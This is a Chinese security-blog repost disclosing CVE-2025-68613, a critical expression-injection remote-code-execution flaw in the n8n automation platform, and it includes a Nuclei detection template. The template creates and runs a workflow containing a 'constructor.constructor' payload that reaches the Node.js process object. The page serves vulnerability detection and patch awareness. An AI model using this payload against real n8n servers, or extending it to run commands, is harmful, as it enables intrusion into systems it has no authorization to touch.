文章总结： 本文档披露了CVE-2025-68613漏洞，该漏洞位于n8n自动化平台中，CVSS评分10.0。攻击者利用表达式注入可访问Node.js全局上下文，从而实现远程代码执行。文中提供了完整的Nuclei检测脚本POC，建议管理员及时修复并排查受影响版本。
综合评分： 92
文章分类： 漏洞POC,漏洞分析,漏洞预警,WEB安全,红队

CVE-2025-68613 n8n 表达式注入导致远程代码执行（RCE CVSS 10.0）

TtTeam

2025年12月23日 01:15
日本

CVE-2025-68613 – n8n – 表达式注入导致远程代码执行 (RCE)

id: CVE-2025-68613
info:&nbsp; name: n8n Expression Injection Remote Code Execution&nbsp; author: PentesterFlow Team&nbsp; severity: critical&nbsp; description: |&nbsp; &nbsp; Detects Expression Injection vulnerability&nbsp;in&nbsp;n8n that allows&nbsp; &nbsp; authenticated&nbsp;users&nbsp;to access Node.js global context via expressions,&nbsp; &nbsp; leading to Remote Code Execution.&nbsp; reference:&nbsp; &nbsp; - https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp&nbsp; classification:&nbsp; &nbsp; cvss-score: 10.0&nbsp; &nbsp; cve-id: CVE-2025-68613&nbsp; metadata:&nbsp; &nbsp; verified:&nbsp;true&nbsp; &nbsp; product: n8n&nbsp; &nbsp; vendor: n8n&nbsp; &nbsp; shodan-query: http.title:"n8n"&nbsp; tags: cve, n8n, rce, expression-injection, authenticated
variables:&nbsp; workflow_name: nuclei-test-{{randstr}}
http:&nbsp; - raw:&nbsp; &nbsp; &nbsp; - |&nbsp; &nbsp; &nbsp; &nbsp; POST /rest/workflows HTTP/1.1&nbsp; &nbsp; &nbsp; &nbsp; Host: {{Hostname}}&nbsp; &nbsp; &nbsp; &nbsp; Content-Type: application/json&nbsp; &nbsp; &nbsp; &nbsp; Authorization: Bearer {{token}}
&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"{{workflow_name}}",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"nodes": [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"parameters": {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"value":&nbsp;"={{this.constructor.constructor('return process')().platform}}"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; },&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"Set",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"type":&nbsp;"n8n-nodes-base.set",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"typeVersion": 2,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"position": [250, 300]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"connections": {}&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; - |&nbsp; &nbsp; &nbsp; &nbsp; POST /rest/workflows/{{workflow_id}}/run HTTP/1.1&nbsp; &nbsp; &nbsp; &nbsp; Host: {{Hostname}}&nbsp; &nbsp; &nbsp; &nbsp; Content-Type: application/json&nbsp; &nbsp; &nbsp; &nbsp; Authorization: Bearer {{token}}
&nbsp; &nbsp; &nbsp; &nbsp; {}
&nbsp; &nbsp; extractors:&nbsp; &nbsp; &nbsp; -&nbsp;type: json&nbsp; &nbsp; &nbsp; &nbsp; name: workflow_id&nbsp; &nbsp; &nbsp; &nbsp; json:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;".id"&nbsp; &nbsp; &nbsp; &nbsp; internal:&nbsp;true
&nbsp; &nbsp; matchers-condition: and&nbsp; &nbsp; matchers:&nbsp; &nbsp; &nbsp; -&nbsp;type: word&nbsp; &nbsp; &nbsp; &nbsp; part: body&nbsp; &nbsp; &nbsp; &nbsp; words:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - linux&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - win32&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - darwin
&nbsp; &nbsp; &nbsp; -&nbsp;type: status&nbsp; &nbsp; &nbsp; &nbsp; status:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - 200

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：TtTeam 《CVE-2025-68613 n8n 表达式注入导致远程代码执行（RCE CVSS 10.0）》

Tags: WEB安全漏洞POC 漏洞分析漏洞预警红队

你可能错过

OpenMontage：59k+ Stars 开源 Agentic 视频生产系统

收到欧盟CERT漏洞通知邮件怎么办？制造商必读的CRA合规应对指南

Cisco邮件网关9.8分漏洞被在野利用：一封邮件直接拿root，没有任何绕过的余地

RSIAgent：无训练多智能体框架实现新环境递归自改进